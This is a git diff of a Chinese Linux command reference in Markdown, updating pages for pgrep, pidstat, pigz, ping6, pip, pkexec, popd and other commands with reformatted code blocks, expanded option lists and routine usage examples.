只载入文件中的过滤规则 - -# pfctl -sn 显示当前的NAT规则 -# pfctl -sr 显示当前的过滤规则 -# pfctl -ss 显示当前的状态表 -# pfctl -si 显示过滤状态和计数 -# pfctl -sa 显示任何可显示的 +```shell +pfctl -f /etc/pf.conf # 载入 pf.conf 文件 +pfctl -nf /etc/pf.conf # 解析文件,但不载入 +pfctl -Nf /etc/pf.conf # 只载入文件中的NAT规则 +pfctl -Rf /etc/pf.conf # 只载入文件中的过滤规则 +pfctl -sn # 显示当前的NAT规则 +pfctl -sr # 显示当前的过滤规则 +pfctl -ss # 显示当前的状态表 +pfctl -si # 显示过滤状态和计数 +pfctl -sa # 显示任何可显示的 ``` 完整的命令列表,请参阅pfctl的man手册页。 - \ No newline at end of file diff --git a/command/pgrep.md b/command/pgrep.md index 3539746bb29..034dbd95f2d 100644 --- a/command/pgrep.md +++ b/command/pgrep.md @@ -1,37 +1,54 @@ pgrep === - -设置用户的认证信息,包括用户密码、密码过期时间等 + +根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID) ## 补充说明 **pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。 -### 语法 +### 语法 -``` +```shell pgrep(选项)(参数) ``` -### 选项 +### 选项 -``` --o:仅显示找到的最小(起始)进程号; --n:仅显示找到的最大(结束)进程号; --l:显示进程名称; --P:指定父进程号; --g:指定进程组; --t:指定开启进程的终端; --u:指定进程的有效用户ID。 +```shell +-d, --delimiter :指定输出的分隔符。 +-l, --list-name:列出进程ID和进程名称。 +-a, --list-full:列出进程ID和完整的命令行。 +-v, --inverse:反向匹配,即只显示不匹配的进程。 +-w, --lightweight:列出所有TID(轻量级线程)。 +-c, --count:显示匹配的进程数量。 +-f, --full:使用完整的进程名称进行匹配。 +-g, --pgroup :匹配指定的进程组ID。 +-G, --group :匹配真实组ID。 +-i, --ignore-case:忽略大小写进行匹配。 +-n, --newest:选择最近启动的进程。 +-o, --oldest:选择最早启动的进程。 +-O, --older :选择启动时间早于指定秒数的进程。 +-P, --parent :只匹配给定父进程的子进程。 +-s, --session :匹配会话ID。 +-t, --terminal :根据控制终端进行匹配。 +-u, --euid :根据有效用户ID进行匹配。 +-U, --uid :根据真实用户ID进行匹配。 +-x, --exact:精确匹配进程名称。 +-F, --pidfile :从文件中读取PID。 +-L, --logpidfile:如果PID文件没有锁定,则失败。 +-r, --runstates :匹配运行状态(D, S, Z等)。 +--ns :匹配与指定PID相同命名空间的进程。 +--nslist :列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括:ipc、mnt、net、pid、user、uts。 ``` -### 参数 +### 参数 进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 -### 实例 +### 实例 -``` +```shell pgrep -lo httpd 4557 httpd [root@localhost ~]# pgrep -ln httpd @@ -55,7 +72,17 @@ pgrep -lo httpd 4564 4565 4566 + +[root@localhost ~]# pgrep -x httpd +4557 +4560 +4561 +4562 +4563 +4564 +4565 +4566 ``` - \ No newline at end of file + diff --git a/command/php.md b/command/php.md index 75ba12d5528..b45490b05bd 100644 --- a/command/php.md +++ b/command/php.md @@ -1,28 +1,27 @@ php === - + PHP语言的命令行接口 ## 补充说明 **php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。 -### 语法 +### 语法 -``` +```shell php(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:进入交互模式; -c:指定“php.ini”的搜索路径。 ``` -### 参数 +### 参数 文件:要执行的php脚本。 - \ No newline at end of file diff --git a/command/pico.md b/command/pico.md index 920826928c6..76c219cdad4 100644 --- a/command/pico.md +++ b/command/pico.md @@ -1,13 +1,13 @@ pico === - + 功能强大全屏幕的文本编辑器 ## 补充说明 **pico命令** 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下: -``` +```shell Ctrl+G:获得pico的帮助信息; Ctrl+O:保存文件内容,如果是新文件,需要输入文件名; Ctrl+R:在当前光标位置插入一个指定的文本文件内容; @@ -22,15 +22,15 @@ Ctrl+J:段落重排; Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。 ``` -### 语法 +### 语法 -``` +```shell pico(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b:开启置换的功能; -d:开启删除的功能; -e:使用完整的文件名称; @@ -53,9 +53,8 @@ pico(选项)(参数) +<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。 ``` -### 参数 +### 参数 文件:指定要编辑的文件。 - \ No newline at end of file diff --git a/command/pidof.md b/command/pidof.md index 68f1b528322..f22690bf266 100644 --- a/command/pidof.md +++ b/command/pidof.md @@ -1,34 +1,34 @@ pidof === - + 查找指定名称的进程的进程号ID号 ## 补充说明 **pidof命令** 用于查找指定名称的进程的进程号id号。 -### 语法 +### 语法 -``` +```shell pidof(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -s:仅返回一个进程号; -c:仅显示具有相同“root”目录的进程; -x:显示由脚本开启的进程; -o:指定不显示的进程ID。 ``` -### 参数 +### 参数 进程名称:指定要查找的进程名称。 -### 实例 +### 实例 -``` +```shell pidof nginx 13312 5371 @@ -40,4 +40,3 @@ pidof init ``` - \ No newline at end of file diff --git a/command/pidstat.md b/command/pidstat.md new file mode 100644 index 00000000000..b10e06e8be3 --- /dev/null +++ b/command/pidstat.md @@ -0,0 +1,120 @@ +pidstat +=== +监控进程的系统资源占用情况 + +## 说明 +**pidstat**是sysstat工具的一个命令,用于监控全部或指定进程的cpu、内存、线程、设备IO等系统资源的占用情况。 +pidstat首次运行时显示自系统启动开始的各项统计信息,之后运行pidstat将显示自上次运行该命令以后的统计信息。用户可以通过指定统计的次数和时间来获得所需的统计信息。 + +### 语法 +```shell +pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] +``` +#### 选项 +- u:默认的参数,显示各个进程的cpu使用统计 +- r:显示各个进程的内存使用统计 +- d:显示各个进程的IO使用情况 +- w:显示每个进程的上下文切换情况 +- t:显示到线程的统计信息 +- p:指定进程号 +- T { TASK | CHILD | ALL } + 这个选项指定了pidstat监控的。TASK表示报告独立的task,CHILD关键字表示报告进程下所有线程统计信息。ALL表示报告独立的task和task下面的所有线程。 + 注意:task和子线程的全局的统计信息和pidstat选项无关。这些统计信息不会对应到当前的统计间隔,这些统计信息只有在子线程kill或者完成的时候才会被收集。 +- V:版本号 +- h:在一行上显示了所有活动,这样其他程序可以容易解析。 +- I:在SMP环境,表示任务的CPU使用率/内核数量 +- l:显示命令名和所有参数 + +### 实例 +#### 查看所有进程的CPU使用情况 +```shell +# pidstat -u -p ALL +11:04:06 AM UID PID %usr %system %guest %CPU CPU Command +11:04:06 AM 0 1 0.03 0.05 0.00 0.08 20 systemd +11:04:06 AM 0 2 0.00 0.00 0.00 0.00 28 kthreadd +11:04:06 AM 0 3 0.00 0.00 0.00 0.00 0 rcu_gp +11:04:06 AM 0 4 0.00 0.00 0.00 0.00 0 rcu_par_gp +11:04:06 AM 0 6 0.00 0.00 0.00 0.00 0 kworker/0:0H-kblockd +11:04:06 AM 0 9 0.00 0.00 0.00 0.00 38 mm_percpu_wq +11:04:06 AM 0 10 0.00 0.01 0.00 0.01 0 ksoftirqd/0 +11:04:06 AM 0 11 0.00 0.23 0.00 0.23 15 rcu_sched +11:04:06 AM 0 12 0.00 0.00 0.00 0.00 0 migration/0 +11:04:06 AM 0 14 0.00 0.00 0.00 0.00 0 cpuhp/0 +11:04:06 AM 0 15 0.00 0.00 0.00 0.00 1 cpuhp/1 +... +``` +表头字段说明 +- PID:进程ID +- %usr:进程在用户空间占用cpu的百分比 +- %system:进程在内核空间占用cpu的百分比 +- %guest:进程在虚拟机占用cpu的百分比 +- %CPU:进程占用cpu的百分比 +- CPU:处理进程的cpu编号 +- Command:当前进程对应的命令 + +#### 查看所有进程的内存使用情况 +```shell +# pidstat -r +11:10:35 AM UID PID minflt/s majflt/s VSZ RSS %MEM Command +11:10:35 AM 0 1 7.24 0.05 191312 4208 0.01 systemd +11:10:35 AM 0 1407 2.02 0.09 39316 9016 0.03 systemd-journal +11:10:35 AM 0 1442 0.03 0.00 190380 1080 0.00 lvmetad +11:10:35 AM 0 1457 0.46 0.00 46252 1560 0.00 systemd-udevd +11:10:35 AM 0 2429 0.11 0.00 163620 9472 0.03 sshd +11:10:35 AM 992 2446 0.02 0.00 8588 996 0.00 lsmd +11:10:35 AM 0 2447 0.05 0.00 90572 1468 0.00 rngd +11:10:35 AM 0 2448 0.15 0.02 451272 3520 0.01 udisksd +11:10:35 AM 0 2449 0.18 0.02 396488 1948 0.01 accounts-daemon +11:10:35 AM 0 2454 0.02 0.02 201336 1464 0.00 gssproxy +... +``` +表头字段说明 +- PID:进程标识符 +- Minflt/s:任务每秒发生的次要错误,不需要从磁盘中加载内存页 +- Majflt/s:任务每秒发生的主要错误,需要从磁盘中加载内存页 +- VSZ:虚拟地址大小,虚拟内存的使用KB +- RSS:常驻集合大小,非交换区物理内存使用KB +- Command:task命令名 + +#### 查看所有进程的IO使用情况 +```shell +# pidstat -d +11:12:30 AM UID PID kB_rd/s kB_wr/s kB_ccwr/s Command +11:12:30 AM 0 1 250.05 11.57 2.13 systemd +11:12:30 AM 0 224 1.21 0.00 0.00 khugepaged +11:12:30 AM 0 290 0.03 0.00 0.00 kswapd0 +11:12:30 AM 0 291 0.02 0.00 0.00 kswapd1 +11:12:30 AM 0 1312 1.03 0.00 0.00 xfsaild/dm-0 +11:12:30 AM 0 1407 1.31 0.00 0.00 systemd-journal +11:12:30 AM 0 1442 0.01 0.00 0.00 lvmetad +11:12:30 AM 0 1457 1.77 0.00 0.00 systemd-udevd +11:12:30 AM 992 2446 0.79 0.00 0.00 lsmd +11:12:30 AM 0 2447 0.07 0.00 0.00 rngd +11:12:30 AM 0 2448 0.46 0.00 0.00 udisksd +... +``` +表头字段说明 +- PID:进程id +- kB_rd/s:每秒从磁盘读取的KB +- kB_wr/s:每秒写入磁盘KB +- kB_ccwr/s:任务取消的写入磁盘的KB。当任务截断脏的pagecache的时候会发生。 +- COMMAND:task的命令名 + +#### 查看进程的上下文切换情况 +```shell +# pidstat -w +11:15:52 AM UID PID cswch/s nvcswch/s Command +11:15:52 AM 0 1 3.15 0.03 systemd +11:15:52 AM 0 2 0.13 0.00 kthreadd +11:15:52 AM 0 3 0.00 0.00 rcu_gp +11:15:52 AM 0 4 0.00 0.00 rcu_par_gp +11:15:52 AM 0 6 0.00 0.00 kworker/0:0H-kblockd +11:15:52 AM 0 9 0.00 0.00 mm_percpu_wq +11:15:52 AM 0 10 1.99 0.00 ksoftirqd/0 +... +``` +表头字段含义 +- PID:进程id +- Cswch/s:每秒主动任务上下文切换数量 +- Nvcswch/s:每秒被动任务上下文切换数量 +- Command:命令名 diff --git a/command/pigz.md b/command/pigz.md new file mode 100644 index 00000000000..8d4ddb356ba --- /dev/null +++ b/command/pigz.md @@ -0,0 +1,71 @@ +pigz +=== + +可以用来解压缩文件,gzip的并行实现升级版 + +## 补充说明 + +**pigz命令**可以用来解压缩文件,最重要的是支持多线程并行处理,解压缩比gzip快。主页: [http://zlib.net/pigz/](http://zlib.net/pigz/) + +### 语法 + +```shell +pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ... ] +unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ... ] +``` + +### 参数 + +```shell +-0 to -9, -11 # Compression level (level 11, zopfli, is much slower) +--fast, --best # Compression levels 1 and 9 respectively +-b, --blocksize mmm # Set compression block size to mmmK (default 128K) +-c, --stdout # Write all processed output to stdout (won't delete) +-d, --decompress # Decompress the compressed input +-f, --force # Force overwrite, compress .gz, links, and to terminal +-F --first # Do iterations first, before block split for -11 +-h, --help # Display a help screen and quit +-i, --independent # Compress blocks independently for damage recovery +-I, --iterations n # Number of iterations for -11 optimization +-J, --maxsplits n # Maximum number of split blocks for -11 +-k, --keep # Do not delete original file after processing +-K, --zip # Compress to PKWare zip (.zip) single entry format +-l, --list # List the contents of the compressed input +-L, --license # Display the pigz license and quit +-m, --no-time # Do not store or restore mod time +-M, --time # Store or restore mod time +-n, --no-name # Do not store or restore file name or mod time +-N, --name # Store or restore file name and mod time +-O --oneblock # Do not split into smaller blocks for -11 +-p, --processes n # Allow up to n compression threads (default is the number of online processors, or 8 if unknown) +-q, --quiet # Print no messages, even on error +-r, --recursive # Process the contents of all subdirectories +-R, --rsyncable # Input-determined block locations for rsync +-S, --suffix .sss # Use suffix .sss instead of .gz (for compression) +-t, --test # Test the integrity of the compressed input +-v, --verbose # Provide more verbose output +-V --version # Show the version of pigz +-Y --synchronous # Force output file write to permanent storage +-z, --zlib # Compress to zlib (.zz) instead of gzip format +-- # All arguments after "--" are treated as files +``` + +### 实例 + +可以结合`tar`使用, 压缩命令 + +```shell +tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz +``` + +解压命令 + +```shell +pigz -p 8 -d output.tgz +``` + +如果是gzip格式,也支持用tar解压 + +```shell +tar -xzvf output.tgz +``` diff --git a/command/ping.md b/command/ping.md index 8e6abf6f9d7..0b387e42c7a 100644 --- a/command/ping.md +++ b/command/ping.md @@ -1,21 +1,21 @@ ping === - -测试主机之间网络的连通性 + +测试主机之间网络的连通性(ipv4) ## 补充说明 **ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 -### 语法 +### 语法 -``` -ping(选项)(参数) +```shell +ping (选项) (参数) ``` -### 选项 +### 选项 -``` +```shell -d:使用Socket的SO_DEBUG功能; -c<完成次数>:设置完成要求回应的次数; -f:极限检测; @@ -30,15 +30,16 @@ ping(选项)(参数) -s<数据包大小>:设置数据包的大小; -t<存活数值>:设置存活数值TTL的大小; -v:详细显示指令的执行过程。 +-w<超时秒数>:无论之前发送或接受了多少包,只要超过此秒数,程序退出; ``` -### 参数 +### 参数 目的主机:指定发送ICMP报文的目的主机。 -### 实例 +### 实例 -``` +```shell [root@AY1307311912260196fcZ ~]# ping www.jsdig.com PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data. 64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=1 ttl=50 time=177 ms @@ -53,4 +54,3 @@ rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms ``` - \ No newline at end of file diff --git a/command/ping6.md b/command/ping6.md new file mode 100644 index 00000000000..ee976883476 --- /dev/null +++ b/command/ping6.md @@ -0,0 +1,53 @@ +ping6 +=== + +测试主机之间网络的连通性(ipv6) + +## 补充说明 + +**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境,选择支持 v6 的网站进行访问(ping)。 +执行 ping6 指令会使用 ICMPv6 传输(OSI)协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 + +### 语法 + +```bash +ping6 (选项) (地址) [网络接口名称] +``` + +### 选项 + +```bash +-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询; +-b [bufsiz]: 设置套接字缓冲区大小; +-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止; +-h [hoplimit]: 设置 IPv6 跳数限制; +-I [interface]: 具有给定接口地址的源数据包; +-i [wait]: 在发送每个数据包之间等待几秒钟,默认是 1 秒; +-p [policy]: policy 指定要用于探测的 IPsec 策略; +``` +### 地址 + +目的主机:指定发送 ICMPv6 报文的目的主机。 + +### 实例 + +```bash +$ ping6 -c4 ipw.cn + +PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1 +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms + +--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics --- +4 packets transmitted, 4 packets received, 0.0% packet loss +round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms +``` + +### 服务器 IPv6 Ping 失败可能原因 + +1. 服务器未开启 IPv6。 +2. 服务器已开启 IPv6,但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问, + + diff --git a/command/pip.md b/command/pip.md new file mode 100644 index 00000000000..a2157fb7582 --- /dev/null +++ b/command/pip.md @@ -0,0 +1,181 @@ +pip +=== + +Python 编程语言中的包管理器,用于安装和管理第三方 Python 模块 + +## 语法 + +```bash +pip <命令> [选项] +``` + +## 选项 + +命令 + +```bash +install 安装包。 +download 下载包。 +uninstall 卸载包。 +freeze 以requirements格式输出已安装的包。 +inspect 检查 Python 环境。 +list 列出已安装的包。 +show 显示有关已安装包的信息。 +check 验证已安装的包是否具有兼容的依赖关系。 +config 管理本地和全局配置。 +search 在 PyPI 搜索包。 +cache 检查和管理 pip 的wheel缓存。 +index 检查从软件包索引中获取的信息。 +wheel 从你的要求构建wheels。 +hash 计算包存档的哈希值。 +completion 用于命令完成的辅助命令。 +debug 显示用于调试的有用信息。 +help 显示命令的帮助信息。 +``` + +通用选项 + +```bash +-h, --help 显示帮助。 +--debug 允许未处理的异常传播到主要子例程之外,而不是将其记录到stderr。 +--isolated 在隔离模式下运行 pip,忽略环境变量和用户配置。 +--require-virtualenv 允许 pip 仅在虚拟环境中运行;否则退出并显示错误。 +--python 使用指定的 Python 解释器运行 pip。 +-v, --verbose 提供更多输出。该选项是可叠加的,最多可使用3次。 +-V, --version 显示版本并退出。 +-q, --quiet 提供更少的输出。该选项是可叠加的,最多可使用3次(对应 WARNING、ERROR 和 CRITICAL 日志级别)。 +--log 要附加日志的路径。 +--no-input 禁用输入提示。 +--keyring-provider + 如果允许用户输入,则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。(默认: disabled) +--proxy 指定代理,格式为 scheme://[user:passwd@]proxy.server:port。 +--retries 每个连接应尝试的最大次数(默认5次)。 +--timeout 设置套接字超时(默认15秒)。 +--exists-action 当路径已经存在时的默认操作:(s)切换,(i)忽略,(w)擦除,(b)备份,(a)中止。 +--trusted-host 将此主机或主机:端口对标记为可信,即使它没有有效或任何 HTTPS。 +--cert PEM编码的CA证书包的路径。如果提供,将覆盖默认值。有关更多信息,请参阅 pip 文档中的 'SSL证书验证'。 +--client-cert SSL客户端证书的路径,一个包含私钥和PEM格式的证书的单个文件。 +--cache-dir 中存储缓存数据。 +--no-cache-dir 禁用缓存。 +--disable-pip-version-check + 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 +--no-color 抑制有色输出。 +--no-python-version-warning + 对即将不受支持的 Python 沉默弃用警告。 +--use-feature 启用可能不向后兼容的新功能。 +--use-deprecated 启用在将来将被删除的已弃用功能。 +``` + +### 安装 + +Pip 是 Python 的包管理工具,通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。 + +```bash +# Ubuntu系统 +sudo apt install python3-pip +``` + +```bash +# CentOS +sudo yum install python3-pip +``` + +如果需要更新 Pip,可以运行以下命令: + +```bash +python -m pip install --upgrade pip +``` + +检查 `pip` 是否已安装 + +```bash +pip --version +``` + +确保您使用的是最新版本的 `pip`,您可以运行以下命令来**升级** + +```bash +python -m pip install --upgrade pip +``` + +## 安装包 + +通过 Pip 安装 Python 包非常简单。使用以下命令: + +```bash +pip install +``` + +例如,安装一个名为 `requests` 的包: + +```bash +pip install requests +``` + +## 卸载包 + +要卸载已安装的包,使用以下命令: + +```bash +pip uninstall package_name +``` + +例如,卸载 `requests` 包: + +```bash +pip uninstall requests +``` + +## 查看已安装的包 + +你可以使用以下命令查看当前环境中已安装的所有包及其版本: + +```bash +pip list +``` + +## 导出和导入依赖关系 + +使用 `pip freeze` 命令可以将当前环境中的所有包及其版本导出到一个文本文件,通常命名为 `requirements.txt`: + +```bash +pip freeze > requirements.txt +``` + +要在另一个环境中安装相同的依赖,可以使用以下命令: + +```bash +pip install -r requirements.txt +``` + +## 安装特定版本的包 + +如果需要安装特定版本的包,可以在包名后面添加版本号: + +```bash +pip install package_name==1.2.3 +``` + +## 搜索包 + +要搜索可用的 Python 包,可以使用 `pip search` 命令: + +```bash +pip search package_name +``` + +## 安装开发版本 + +有时你可能需要安装包的开发版本。通常,开发版本存储在版本控制系统中(如 GitHub): + +```bash +pip install git+https://github.com/user/repo.git +``` + +这将安装存储库的最新版本。 + +以上是一些常用的 Pip 命令,希望这个简要教程能够帮助你更好地使用 Python 包管理工具。 + +## 官网 + +更多安装使用方法可以访问官网学习:[https://pypi.org/project/pip/](https://pypi.org/project/pip/) diff --git a/command/pkexec.md b/command/pkexec.md new file mode 100644 index 00000000000..ec7ad702fe4 --- /dev/null +++ b/command/pkexec.md @@ -0,0 +1,77 @@ +pkexec +=== + +以其他用户身份执行命令 + +## 补充说明 + +**pkexec** 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定 +PROGRAM,则将运行默认 shell。如果未指定用户名,则程序将以管理超级用户 root +的身份执行。 + +### 语法 + +```shell +pkexec [--version] [--disable-internal-agent] [--help] +pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...] +``` + +### 选项 + +```shell +PROGRAM 运行的程序 +ARGUMENTS... 传递给程序的参数 + +--version 输出版本号然后退出 +--disable-internal-agent 避免将注册自己的文本身份验证代理 +--help 输出帮助文本然后退出 +--keep-cwd 运行位置,默认在 /home// +--user 需要运行的用户名 +``` + +### 返回值 + +成功完成后,返回值为 PROGRAM 的返回值。 + +- `127`: 在未获得授权或者身份验证发生错误 +- `126`: 用户关闭身份验证对话框而无法获得授权 + +### 示例 + +1. 运行具有管理员权限的命令: + +``` +pkexec command +``` + +将 `command` 替换为你要以管理员权限运行的命令。例如,`pkexec ls` 将以管理员权限运行 `ls` 命令。 + +2. 以图形界面运行具有管理员权限的命令: + +``` +pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY command +``` + +这个命令用于在图形界面中运行需要管理员权限的命令。将 `command` 替换为你要以管理员权限运行的命令。 + +3. 运行具有特定身份验证代理的命令: + +``` +pkexec --user username command +``` + +将 `username` 替换为你要作为哪个用户运行命令的用户名,将 `command` 替换为你要运行的命令。 + +4. 查看 `pkexec` 的帮助信息: + +``` +pkexec --help +``` + +这个命令将显示 `pkexec` 的使用说明和选项列表。 + +请注意,使用 `pkexec` 运行命令时,系统会提示你输入管理员密码进行身份验证。确保只在必要时使用 `pkexec` 来运行需要管理员权限的命令,并小心谨慎地处理管理员权限。 + +### 参考资料 + +- https://man.archlinux.org/man/pkexec.1.en diff --git a/command/pkill.md b/command/pkill.md index 3cb7459fe34..59f6e0230aa 100644 --- a/command/pkill.md +++ b/command/pkill.md @@ -1,21 +1,21 @@ pkill === - + 可以按照进程名杀死进程 ## 补充说明 **pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。 -### 语法 +### 语法 -``` +```shell pkill(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -o:仅向找到的最小(起始)进程号发送信号; -n:仅向找到的最大(结束)进程号发送信号; -P:指定父进程号发送信号; @@ -23,13 +23,13 @@ pkill(选项)(参数) -t:指定开启进程的终端。 ``` -### 参数 +### 参数 进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 -### 实例 +### 实例 -``` +```shell pgrep -l gaim 2979 gaim @@ -39,4 +39,3 @@ pkill gaim 也就是说:kill对应的是PID,pkill对应的是command。 - \ No newline at end of file diff --git a/command/pmap.md b/command/pmap.md index 6783f89023d..ed1e846493c 100644 --- a/command/pmap.md +++ b/command/pmap.md @@ -1,34 +1,34 @@ pmap === - + 报告进程的内存映射关系 ## 补充说明 **pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。 -### 语法 +### 语法 -``` +```shell pmap(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -x:显示扩展格式; -d:显示设备格式; -q:不显示头尾行; -V:显示指定版本。 ``` -### 参数 +### 参数 进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。 -### 实例 +### 实例 -``` +```shell pidof nginx 13312 5371 @@ -121,4 +121,3 @@ total kB 72880 22940 22000 ``` - \ No newline at end of file diff --git a/command/popd.md b/command/popd.md index ecaf2093518..d474805cc0a 100644 --- a/command/popd.md +++ b/command/popd.md @@ -1,41 +1,79 @@ popd === - -用于删除目录栈中的记录 -## 补充说明 +从目录堆栈中删除目录。 -**popd命令** 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录。 +## 概要 -### 语法 - -``` -pushd(选项)(参数) +```shell +popd [-n] [+N | -N] ``` -### 选项 +## 主要用途 -``` -+N:将第N个目录删除(从左边数起,数字从0开始); --N:将第N个目录删除(从右边数起,数字从0开始); --n:将目录出栈时,不切换目录。 -``` +- 从目录堆栈中删除目录,如果是顶部目录被删除,那么当前工作目录会切换到新的顶部目录。 + +- 没有参数时,删除目录堆栈顶部。 -### 实例 +## 选项 +```shell +-n 抑制删除目录引起的当前工作目录变化。 ``` -root@Mylinux:/tmp/dir4# popd(相当于popd +0) -/tmp/dir3 /tmp/dir2 /tmp/dir1 ~ -root@Mylinux:/tmp/dir3# pushd /tmp/dir4 -/tmp/dir4 /tmp/dir3 /tmp/dir2 /tmp/dir1 ~ +## 参数 + ++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被删除。(从0开始计数) + +-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被删除。(从0开始计数) + + +## 返回值 -root@Mylinux:/tmp/dir4# popd +1 -/tmp/dir4 /tmp/dir2 /tmp/dir1 ~ +返回成功除非提供了非法选项或执行出现错误。 -root@Mylinux:/tmp/dir4# popd -2 -/tmp/dir4 /tmp/dir1 ~ +## 例子 + +```shell +# 添加目录到堆栈,当前工作目录不变。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ pushd -n ~/Pictures +~ ~/Pictures ~/Desktop +[user2@pc ~]$ pushd -n ~/bin +~ ~/bin ~/Pictures ~/Desktop + +# 从目录堆栈中删除目录,删除顶部目录时会改变当前工作目录: +[user2@pc ~]$ popd -2 +~ ~/Pictures ~/Desktop +[user2@pc ~]$ popd +1 +~ ~/Desktop +[user2@pc ~]$ popd +~/Desktop +[user2@pc Desktop]$ +``` + +```shell +# 从目录堆栈中删除目录,删除顶部目录时不会改变当前工作目录: +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ popd -n +~ +[user2@pc ~]$ ``` +### 注意 + +1. `bash`的目录堆栈命令包括`dirs popd pushd`。 +2. 当前目录始终是目录堆栈的顶部。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +### 参考链接 + +- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option) + - \ No newline at end of file diff --git a/command/poweroff.md b/command/poweroff.md index b96eb1d5d16..50f8665f282 100644 --- a/command/poweroff.md +++ b/command/poweroff.md @@ -1,21 +1,21 @@ poweroff === -关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中。 +关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中 ## 补充说明 **grename命令** 可以重命名卷组的名称。 -### 语法 +### 语法 -``` +```shell poweroff [选项] ``` -### 选项 +### 选项 -``` +```shell -n 关闭之前不同步 -p 当被称为halt时关闭电源 -v 增加输出,包括消息 @@ -28,8 +28,8 @@ poweroff [选项] 关闭Linux系统。 -```bash +```shell [root@localhost ~]# poweroff ``` - + diff --git a/command/ppp-off.md b/command/ppp-off.md index 5b01ee5a0f6..15b862ea794 100644 --- a/command/ppp-off.md +++ b/command/ppp-off.md @@ -7,11 +7,10 @@ ppp-off 这是Slackware发行版内附的程序,让用户切断PPP的网络连线。 -### 语法 +### 语法 -``` +```shell ppp-off ``` - \ No newline at end of file diff --git a/command/pr.md b/command/pr.md index 5caa14a9331..35c8e637b53 100644 --- a/command/pr.md +++ b/command/pr.md @@ -1,28 +1,50 @@ pr === - + 将文本文件转换成适合打印的格式 ## 补充说明 **pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。 -### 语法 +### 语法 -``` +```shell pr(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell +-e<制表符[宽度]>(--expand-tabs=<制表符[宽度]>):将制表符(或制表符)转换为空格.如果指定了宽度,则将制表符转换为宽度字符,默认为8; -h<标题>:为页指定标题; --l<行数>:指定每页的行数。 +-i(--output-tabs):在输出中用制表符替换空格,可以指定替代制表符(默认为制表符)和宽度(默认为8); +-l<行数>:指定每页的行数; +-n<分隔符[数字]>:对列进行编号,或者使用 -m 选项对行进行编号,将分隔符附加到每个数字默认为制表符并限制数字的大小,默认为5; +-o<宽度>:为左边距设置宽度; +-s<分隔符>(--separator<分隔符>):使用指定的分隔符(默认为制表符)而不是空格分隔列; +-S<字符串>(--sep-string<字符串>):使用指定的字符串(默认为-J的制表符)或者是一个空格分隔列; +-w<页面宽度>:设置页面宽度以进行多列输出,默认为72; 